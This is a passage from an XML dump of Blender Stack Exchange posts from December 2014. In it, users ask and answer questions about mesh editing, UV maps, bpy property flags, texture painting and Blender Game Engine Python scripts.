CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21097" PostTypeId="2" ParentId="21073" CreationDate="2014-12-18T17:55:08.290" Score="2" Body="&lt;p&gt;This is simply done with a small python script using the &lt;a href=&quot;https://www.blender.org/api/blender_python_api_current/bge.render.html#bge.render.setFullScreen&quot; rel=&quot;nofollow noreferrer&quot;&gt;bge.render.setFullScreen()&lt;/a&gt; function.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;cont = bge.logic.getCurrentController()&#xA;&#xA;if cont.sensors['MouseOver'].hitObject.name == 'Cube' and cont.sensors['Lclick'].getButtonStatus(bge.events.LEFTMOUSE) == bge.logic.KX_INPUT_JUST_ACTIVATED:&#xA;    if bge.render.getFullScreen() == True:&#xA;        bge.render.setFullScreen(False)&#xA;    else:&#xA;        bge.render.setFullScreen(True)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You then add the script to your button with these logic bricks.&lt;br&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/2w8F3.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/2w8F3.png&quot; alt=&quot;logic bricks&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;em&gt;MouseOver&lt;/em&gt; and &lt;em&gt;Lclick&lt;/em&gt; mouse sensors are used to start the script when the button is clicked.&lt;br&gt;&#xA;Look through the &lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/2427/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Blend file&lt;/a&gt; for a full working example.&lt;br&gt;&#xA;(*Note* you will need to start the &lt;strong&gt;Standalone player&lt;/strong&gt; for full screen to work.)&lt;/p&gt;&#xA;" OwnerUserId="2217" LastEditorUserId="-1" LastEditDate="2017-03-14T09:10:21.057" LastActivityDate="2016-12-28T18:57:07.553" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21098" PostTypeId="1" AcceptedAnswerId="21099" CreationDate="2014-12-18T18:00:33.667" Score="18" ViewCount="59476" Body="&lt;p&gt;I don't know how to disconnect a face from the rest of the mesh in edit mode.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This isn't like pressing &lt;kbd&gt;P&lt;/kbd&gt; to separate the selection into a completely different object. I just want to select a face and disconnect/rip it away from the rest of the mesh but keep it as a part of the original object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One way to do it would be to duplicate the face with &lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;D&lt;/kbd&gt; and then delete the original face. But I suspect there is a &quot;native&quot; command for disconnecting selected faces and I would like to learn it. &lt;/p&gt;&#xA;" OwnerUserId="1037" LastEditorUserId="55" LastEditDate="2014-12-18T20:46:25.777" LastActivityDate="2018-08-02T00:19:51.957" Title="How to disconnect selected mesh geometry?" Tags="&lt;modeling&gt;" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21099" PostTypeId="2" ParentId="21098" CreationDate="2014-12-18T18:03:16.803" Score="28" Body="&lt;p&gt;The command I am looking for is &quot;split&quot; and you can select it with &lt;em&gt;Mesh &gt; Vertices &gt; Split&lt;/em&gt;, menu or by pressing the keyboard shortcut &lt;kbd&gt;Y&lt;/kbd&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1037" LastEditorUserId="5705" LastEditDate="2014-12-18T18:20:53.590" LastActivityDate="2014-12-18T18:20:53.590" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21100" PostTypeId="2" ParentId="21098" CreationDate="2014-12-18T18:05:23.573" Score="9" Body="&lt;p&gt;&lt;strong&gt;It sounds like you want to &lt;em&gt;rip&lt;/em&gt; the edges around the face.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It helps to go into edge select mode first by pressing &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;Tab&lt;/kbd&gt; &gt; &lt;em&gt;edge select&lt;/em&gt;, since in vertex edit mode you may end up selecting too many edges.  Then select the edges around the face and hit &lt;kbd&gt;V&lt;/kbd&gt;, this will rip the edges.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you try to move these ripped edges you will actually move only the edges (any vertex located in the middle will remain fixed at its place). To move entire ripped piece you will need either to press &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;L&lt;/kbd&gt; immediately after ripping to select geometry linked to selected edges or deselect all with &lt;kbd&gt;A&lt;/kbd&gt; and then select the faces to move away.&lt;/p&gt;&#xA;" OwnerUserId="5705" LastEditorUserId="1245" LastEditDate="2016-12-21T15:12:37.747" LastActivityDate="2016-12-21T15:12:37.747" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21101" PostTypeId="2" ParentId="21083" CreationDate="2014-12-18T19:19:16.853" Score="2" Body="&lt;p&gt;You can copy UV maps from one object to another (provided their vertex count and index match) by selecting one object, then shift+select the second.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I press spacebar - type in &quot;UV&quot; and select &quot;Transfer UV Maps&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not sure but I think the order is copy from object 1 to active object. You may have to experiment to find out the correct selection order (use UNDO). It will copy to the currently selected UV map in the &quot;Object data&quot; tab.&lt;/p&gt;&#xA;" OwnerUserId="4960" LastActivityDate="2014-12-18T19:19:16.853" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21102" PostTypeId="1" AcceptedAnswerId="21103" CreationDate="2014-12-18T20:23:41.657" Score="0" ViewCount="358" Body="&lt;p&gt;As a follow up to &lt;a href=&quot;https://blender.stackexchange.com/questions/21002/problem-with-normal-map-display-in-glsl-texture-paint-mode&quot;&gt;Problem with normal map display in glsl texture paint mode&lt;/a&gt; I have attempted to analyze my model further. Please see attached images demonstrating inconsistency between 2 objects in a scene when viewed with glsl shading. Both objects have the same material applied, both are uv unwrapped with no textures applied. There is one sun lamp in the scene. As far as I can tell the only difference between the two objects is that the leg object (appended from another .blend) shows that it has a cycles property and that it does not display properly in glsl. I assume something is preventing this object from displaying properly in this scene and ultimately preventing it from displaying a normal map properly in glsl as well. Any suggestions are greatly appreciated.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/m76k7.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Stjck.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/IhaLG.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/IyeFZ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1459" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:41.900" LastActivityDate="2014-12-18T21:06:51.230" Title="Follow up of normal mapping problem in GLSL" Tags="&lt;texture-painting&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21103" PostTypeId="2" ParentId="21102" CreationDate="2014-12-18T21:06:51.230" Score="1" Body="&lt;p&gt;After much file dissection I found the simple answer to my problem. The draw settings in the object properties for the leg model was set to solid and not texture, thereby preventing the object from displaying properly in texture viewport mode needed for glsl. Frustrating how these little innocent settings can foul things up. Thanks to the community for attempting to resolve my problem.&lt;/p&gt;&#xA;" OwnerUserId="1459" LastActivityDate="2014-12-18T21:06:51.230" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21104" PostTypeId="1" AcceptedAnswerId="21108" CreationDate="2014-12-18T21:29:27.680" Score="4" ViewCount="1179" Body="&lt;p&gt;I just read about &lt;a href=&quot;http://www.blender.org/api/blender_python_api_2_72b_release/bpy.props.html&quot; rel=&quot;nofollow&quot;&gt;properties in the documentation&lt;/a&gt;. Every type of property can be created with some options. Most of options are self explanatory, but I really don't know how to explain the option called &lt;code&gt;'PROPORTIONAL'&lt;/code&gt;. Example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.types.Object.example = bpy.props.IntProperty(name='Example', \&#xA;    default=-1, options={'PROPORTIONAL'})&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I was able to find the following doc string:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Adjust values proportionally to each other&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;but it does not make much more sense. Properties can't be edited using proportional editing, right?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any documentation for all of these option flags?&lt;br&gt;&#xA;&lt;code&gt;HIDDEN&lt;/code&gt;, &lt;code&gt;SKIP_SAVE&lt;/code&gt;, &lt;code&gt;ANIMATABLE&lt;/code&gt;, &lt;code&gt;LIBRARY_EDITABLE&lt;/code&gt;, &lt;code&gt;PROPORTIONAL&lt;/code&gt;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I wasn't able to find any.&lt;/p&gt;&#xA;" OwnerUserId="6164" LastEditorUserId="1363" LastEditDate="2014-12-18T23:05:19.773" LastActivityDate="2014-12-18T23:32:29.407" Title="Option flags for custom properties (bpy.props)" Tags="&lt;python&gt;&lt;properties&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21105" PostTypeId="2" ParentId="21082" CreationDate="2014-12-18T21:55:46.593" Score="11" Body="&lt;p&gt;What I found today is that you can also use &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;E&lt;/kbd&gt; and there's an 'Un-Subdivide' option but I don't know if that's the same as the modifier.&lt;/p&gt;&#xA;" OwnerUserId="5980" LastEditorUserId="241" LastEditDate="2015-08-16T12:38:38.153" LastActivityDate="2015-08-16T12:38:38.153" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="21106" PostTypeId="2" ParentId="21075" CreationDate="2014-12-18T22:12:26.000" Score="2" Body="&lt;p&gt;Something to get started:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/aProb.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import random&#xA;import bge&#xA;&#xA;cont = bge.logic.getCurrentController()&#xA;own = cont.owner&#xA;&#xA;if not own.isPlayingAction():&#xA;    # create radom number between 0..3&#xA;    x = int(random.uniform(0,4))&#xA;    print(x)&#xA;&#xA;    scene = bge.logic.getCurrentScene()&#xA;    # set active camera&#xA;    cam_name = 'Camera.00'+str(x)&#xA;    camera = scene.objects[cam_name]&#xA;    scene.active_camera = camera&#xA;&#xA;    # play action&#xA;    own.playAction('CubeAction', 0, 20, play_mode=bge.logic.KX_ACTION_MODE_PLAY)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The script above can be used from a Python controller&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that this plays the Action for the attached object, if the camera views don't overlap this could already work for you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/lQAt7.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastActivityDate="2014-12-18T22:12:26.000" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="21107" PostTypeId="1" AcceptedAnswerId="21120" CreationDate="2014-12-18T22:29:46.323" Score="5" ViewCount="1326" Body="&lt;p&gt;What I want to achieve is to extrude and scale the inner shape to the outer one like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/zgOaa.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The center of the shape seems to be attracted by the roundings, I tried to use bounding box center but this is still not what I want. Is there an easier solution then separated / extrude / join the parts?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/4BLs4.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastEditorUserId="29" LastEditDate="2014-12-19T12:49:17.420" LastActivityDate="2014-12-19T15:13:04.937" Title="Can shapes with rounded corners be extruded with even thickness?" Tags="&lt;modeling&gt;" AnswerCount="3" CommentCount="4" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21108" PostTypeId="2" ParentId="21104" CreationDate="2014-12-18T23:32:29.407" Score="6" Body="&lt;p&gt;The &lt;code&gt;PROPORTIONAL&lt;/code&gt; flag is not related to Blender's &lt;em&gt;Proportional Editing&lt;/em&gt; feature, but &lt;a href=&quot;http://wiki.blender.org/index.php/Dev:Ref/Release_Notes/2.70/UI#Multi-Number_Button_Editing&quot; rel=&quot;nofollow noreferrer&quot;&gt;Multi-Number Button Editing&lt;/a&gt;. It's &lt;a href=&quot;https://developer.blender.org/T42233&quot; rel=&quot;nofollow noreferrer&quot;&gt;broken in 2.72&lt;/a&gt; for custom properties however. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There doesn't seem to be any documentation in the API docs about this particular option beside what you already found. The corresponding &lt;a href=&quot;http://www.blender.org/api/blender_python_api_2_72b_release/bpy.types.Property.html?highlight=library_editable#bpy.types.Property.is_animatable&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;is_...&lt;/code&gt; properties&lt;/a&gt; seem to be the only documentation.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;HIDDEN&lt;/code&gt;: True when the property is hidden.&lt;br&gt;See also &lt;a href=&quot;https://blender.stackexchange.com/questions/18069/hide-custom-properties-in-the-ui-panel-with-python&quot;&gt;Hide custom properties in the UI panel with python&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;SKIP_SAVE&lt;/code&gt;: True when the property is not saved in presets. See also &lt;a href=&quot;https://blender.stackexchange.com/questions/8442/trouble-getting-windowmanager-properties-to-save-its-contents-with-blend-file/8443#comment13819_8443&quot;&gt;this comment&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;ANIMATABLE&lt;/code&gt;: Property is animatable through RNA &lt;em&gt;(should actually be true even if not specified)&lt;/em&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;LIBRARY_EDITABLE&lt;/code&gt;: Property is editable from linked instances (changes not saved)&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;ENUM_FLAG&lt;/code&gt;: Property is an &lt;code&gt;EnumProperty&lt;/code&gt; and multiple entries can be selected (&lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;LMB&lt;/kbd&gt;)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1363" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:42.843" LastActivityDate="2014-12-18T23:32:29.407" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21109" PostTypeId="1" AcceptedAnswerId="21217" CreationDate="2014-12-18T23:51:09.017" Score="2" ViewCount="4813" Body="&lt;p&gt;How can I keep the bevel modifier from creating ngons and tris? I thought a quad-only mesh would do it, but it doesn't like topological gems, and the edge flow is too important.&#xA;Or is it Simply Imposible ?&lt;/p&gt;&#xA;" OwnerUserId="5980" LastEditorUserId="5980" LastEditDate="2014-12-20T23:08:18.313" LastActivityDate="2014-12-21T14:20:46.490" Title="Keep the bevel modifier from creating ngons and tris" Tags="&lt;modeling&gt;&lt;modifiers&gt;&lt;topology&gt;" AnswerCount="2" CommentCount="3" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21111" PostTypeId="2" ParentId="21109" CreationDate="2014-12-19T01:09:02.640" Score="0" Body="&lt;p&gt;The Bevel modifier uses Tris and ngons to create the bevel itself, in order to reduce any unnecessary vertices that you apply the modifier to any complex object; you should select your object, tab into edit mode, go under the tool bar and hit remove doubles. This will significantly reduce the amount of unnecessary vertices. &lt;/p&gt;&#xA;" OwnerUserId="9569" LastActivityDate="2014-12-19T01:09:02.640" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21112" PostTypeId="2" ParentId="21107" CreationDate="2014-12-19T01:11:42.723" Score="1" Body="&lt;p&gt;Shapes with rounded edges can be extruded, it is not impossible but by extruding one face at a time, then the extruded portion will create a mesh collision or an unnecessary space between extrusions. I suggest that you click all the desired face that you want to extrude and, extrude them in the direction that you want. &lt;/p&gt;&#xA;" OwnerUserId="9569" LastActivityDate="2014-12-19T01:11:42.723" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21113" PostTypeId="2" ParentId="21060" CreationDate="2014-12-19T01:26:14.420" Score="2" Body="&lt;p&gt;Okay, so I had some people ask me how I did it with blender internal.&#xA;I used the same method as cegaton, but with a bit of a twist.&#xA;I wont go into detail about how I got the curve to hook onto the objects, but you can find that HERE: &lt;a href=&quot;https://blender.stackexchange.com/questions/2487/rig-a-rope-spanning-two-objects&quot;&gt;Rig a rope spanning two objects&lt;/a&gt;&lt;br&gt;&#xA;So after I got the curve spanning the two objects, I went into the curve settings and turned up the bevel. Then I assigned the curve a material, and a texture.&#xA;I went into the node editor (you can use the node editor in internal) and in the texture portion of the node editor, added in a pattern-&gt;Checker node, and connected it to the output node. Then I went to the material portion of the node editor, added an input-&gt;texture node, and selected the texture of my checkers. Then I hooked up the Color output of the texture node to the Color AND alpha input. Then I went to the Material SETTINGS and under &quot;Render Pipeline Options&quot; enabled transparency.&lt;/p&gt;&#xA;" OwnerUserId="3090" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:39.940" LastActivityDate="2014-12-19T01:26:14.420" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21114" PostTypeId="1" AcceptedAnswerId="21116" CreationDate="2014-12-19T02:03:00.140" Score="3" ViewCount="4264" Body="&lt;p&gt;I want to change the orientation of my object to a specified direction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Say I have an axle of a train whose &lt;em&gt;normal&lt;/em&gt; orientation is set off by 90° from the &lt;em&gt;global&lt;/em&gt; orientation:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/cXMSX.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The green arrow (Y-axis) points to the back of the train (along the global X-axis). But I want it to point to the sides of the train, so all I want is to rotate the orientation by 90° &lt;em&gt;without&lt;/em&gt; rotating the object itself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In other words, I want the normal and global orientation of the axle to be the identical:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/LMYlA.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this possible and if so, how?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Background:&#xA;The game engine to use this model will move the bogies and the axles according to their orientations. After importing this train into the game the axles rotated 90° off.&lt;/p&gt;&#xA;" OwnerUserId="8306" LastEditorUserId="8306" LastEditDate="2014-12-19T10:43:32.283" LastActivityDate="2014-12-19T10:43:32.283" Title="Set normal orientation of origin" Tags="&lt;objects&gt;&lt;normals&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21116" PostTypeId="2" ParentId="21114" CreationDate="2014-12-19T02:07:32.913" Score="3" Body="&lt;p&gt;Select the object in Object mode, then &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;A&lt;/kbd&gt; &gt; &lt;kbd&gt;R&lt;/kbd&gt; (Apply rotation). This resets the rotation to 0° around all three axes (and thus aligns the local axes with the global axes) without rotating the object.&lt;/p&gt;&#xA;" OwnerDisplayName="user7952" LastActivityDate="2014-12-19T02:07:32.913" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21117" PostTypeId="2" ParentId="21114" CreationDate="2014-12-19T02:34:00.997" Score="1" Body="&lt;p&gt;Get in edit mode, rotate your object in local coordinates as you wish, get back to object mode and rotate it back.&lt;/p&gt;&#xA;" OwnerUserId="7768" LastEditorUserId="7768" LastEditDate="2014-12-19T02:52:08.760" LastActivityDate="2014-12-19T02:52:08.760" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21118" PostTypeId="2" ParentId="21091" CreationDate="2014-12-19T02:49:38.957" Score="1" Body="&lt;p&gt;Objects like trees or toothbrushes take up much memory.&#xA;For trees, even games use &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modeling/Objects/Duplication&quot; rel=&quot;nofollow&quot;&gt;object instancing&lt;/a&gt;. While copying the tree, use &lt;kbd&gt;Alt&lt;/kbd&gt; + &lt;kbd&gt;D&lt;/kbd&gt;. This will keep you from editing the trees individually but will keep the memory requirement low, you can also have a few trees and create an illusion by rotating them, (fake it!)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Too many leafs will unevitably result in high memory need. I strongly recommend you to take a look to &lt;a href=&quot;http://blenderartists.org/forum/showthread.php?249664-.bend-bench-19-Billions-of-Polygons-not-a-ridiculous-number-anymore&quot; rel=&quot;nofollow&quot;&gt;this cycles instancing test&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you don't want to lower the details, you can try caching the required files on your computer(cycles only). To do this, you need to use the (Cache BVH) checkbox under the &quot;performance&quot; section of render tab.&#xA;User preferences also let you to adjuct the available RAM to use.&lt;/p&gt;&#xA;" OwnerUserId="7768" LastActivityDate="2014-12-19T02:49:38.957" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21119" PostTypeId="1" CreationDate="2014-12-19T06:06:45.027" Score="2" ViewCount="49" Body="&lt;p&gt;Right now I have a .blend file for a little interface project I am working on in the game engine and also a .exe  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way I can play my project in a web browser so I can show it to some friends?&lt;/p&gt;&#xA;" OwnerUserId="8412" LastEditorUserId="2217" LastEditDate="2014-12-19T16:38:18.003" LastActivityDate="2014-12-19T16:38:18.003" Title="How to play My Blender Game in a webbrowser?" Tags="&lt;game-engine&gt;&lt;export&gt;" AnswerCount="0" CommentCount="1" FavoriteCount="2" ClosedDate="2014-12-19T11:39:27.077" ContentLicense="CC BY-SA 3.0" />
  <row Id="21120" PostTypeId="2" ParentId="21107" CreationDate="2014-12-19T07:11:24.523" Score="9" Body="&lt;p&gt;There is a way to use the inset tool like an extrude for a flat shape.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Select the loop of vertices you want to extrude inwards.&lt;/li&gt;&#xA;&lt;li&gt;Fill in the area with a face &lt;kbd&gt;F&lt;/kbd&gt;&lt;/li&gt;&#xA;&lt;li&gt;Inset the selected area &lt;kbd&gt;I&lt;/kbd&gt;&lt;/li&gt;&#xA;&lt;li&gt;Delete the face&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/rqt0i.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You do get small size variations in the new edge lengths around the curve compared to the straight sides but the amount is very small.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/lVZeJ.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This only works gong inwards so you will want to scale your shape up to the larger size and then inset to the smaller size. With a bit of effort you can create a bounding box around your shape, fill it in with faces and press &lt;kbd&gt;O&lt;/kbd&gt; while insetting to change to outset to enlarge your shape. Note in this example that the corners overlap and need cleaning.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/wYiIM.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2014-12-19T07:11:24.523" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21121" PostTypeId="1" AcceptedAnswerId="21127" CreationDate="2014-12-19T10:45:12.730" Score="2" ViewCount="2356" Body="&lt;p&gt;I have recently started to make new racing game. I downloaded and imported smooth detailed car model(.obj). I added Character physics for it, so I can add W, A, S and D controllers to it. But, after I put my Character physics on it, it began to shake, when I pressed &quot;p&quot;. I tried to check Physics only for 1 of all materials it had, but it did not help. I even unparented cameras and lights off it, but it still shakes. And I can not add controlers that can move it(they don't work). Who can help me?&lt;/p&gt;&#xA;" OwnerUserId="8363" LastActivityDate="2015-06-16T01:48:04.317" Title="Game Engine: Object with character physics shakes for some reason" Tags="&lt;game-engine&gt;&lt;objects&gt;&lt;physics&gt;&lt;tracking&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21122" PostTypeId="1" AcceptedAnswerId="21123" CreationDate="2014-12-19T10:53:04.663" Score="4" ViewCount="8737" Body="&lt;p&gt;Is there a way to paint parts of a source image onto a canvas image?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's also important to use scale while painting.  For example, if the source image is a heart, can I paint it on the canvas image in different sizes?  How can I do this?                                                    &lt;/p&gt;&#xA;" OwnerUserId="9572" LastEditorUserId="5705" LastEditDate="2014-12-19T16:55:35.147" LastActivityDate="2017-01-31T15:09:06.620" Title="Can you paint parts of an image onto another image?" Tags="&lt;cycles-render-engine&gt;&lt;texturing&gt;&lt;image&gt;&lt;texture-painting&gt;" AnswerCount="3" CommentCount="10" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21123" PostTypeId="2" ParentId="21122" CreationDate="2014-12-19T11:19:27.723" Score="5" Body="&lt;p&gt;&lt;strong&gt;You need to use the texture painting tools:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Hit &lt;kbd&gt;Tab&lt;/kbd&gt; to enter edit mode&lt;/li&gt;&#xA;&lt;li&gt;Hit &lt;kbd&gt;A&lt;/kbd&gt; to select everything and then UV unwrap you object &lt;kbd&gt;U&lt;/kbd&gt;&lt;em&gt;smart UV project&lt;/em&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Change your view to the UV image editor&lt;img src=&quot;https://i.stack.imgur.com/ckg6g.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Open your image that you wan't to paint on (You can create a new blank one as well)&lt;img src=&quot;https://i.stack.imgur.com/IG5k0.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Change your view back to 3D&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;Change into texture painting mode:&lt;br/&gt;&lt;img src=&quot;https://i.stack.imgur.com/Mvjpb.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/li&gt;&#xA;&lt;li&gt;In the slots tab, set the painting mode to image, and select your image from the drop down.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/8Pm05.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/li&gt;&#xA;&lt;li&gt;Set up your brush&lt;img src=&quot;https://i.stack.imgur.com/gLj5I.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Configuration:&lt;/strong&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Set the Texture to you're image:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/JwTbY.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/li&gt;&#xA;&lt;li&gt;Set the brush mapping to tiled adjust the settings to make it look right.&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="3127" LastEditorUserId="3127" LastEditDate="2014-12-19T11:44:10.583" LastActivityDate="2014-12-19T11:44:10.583" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21124" PostTypeId="1" AcceptedAnswerId="21162" CreationDate="2014-12-19T12:31:09.673" Score="2" ViewCount="1058" Body="&lt;p&gt;I am making a racing game and I want to know something:&#xA;How do I make gauges for my game. I have 6 gears on car set by states, but only way to visualiate them is game debug. But game debug is ugly- I want to make fancy gauges. How do I make them?&lt;/p&gt;&#xA;" OwnerUserId="8363" LastEditorUserId="8363" LastEditDate="2014-12-19T17:39:22.590" LastActivityDate="2014-12-20T18:35:40.623" Title="How to make gauges for racing game?" Tags="&lt;game-engine&gt;" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
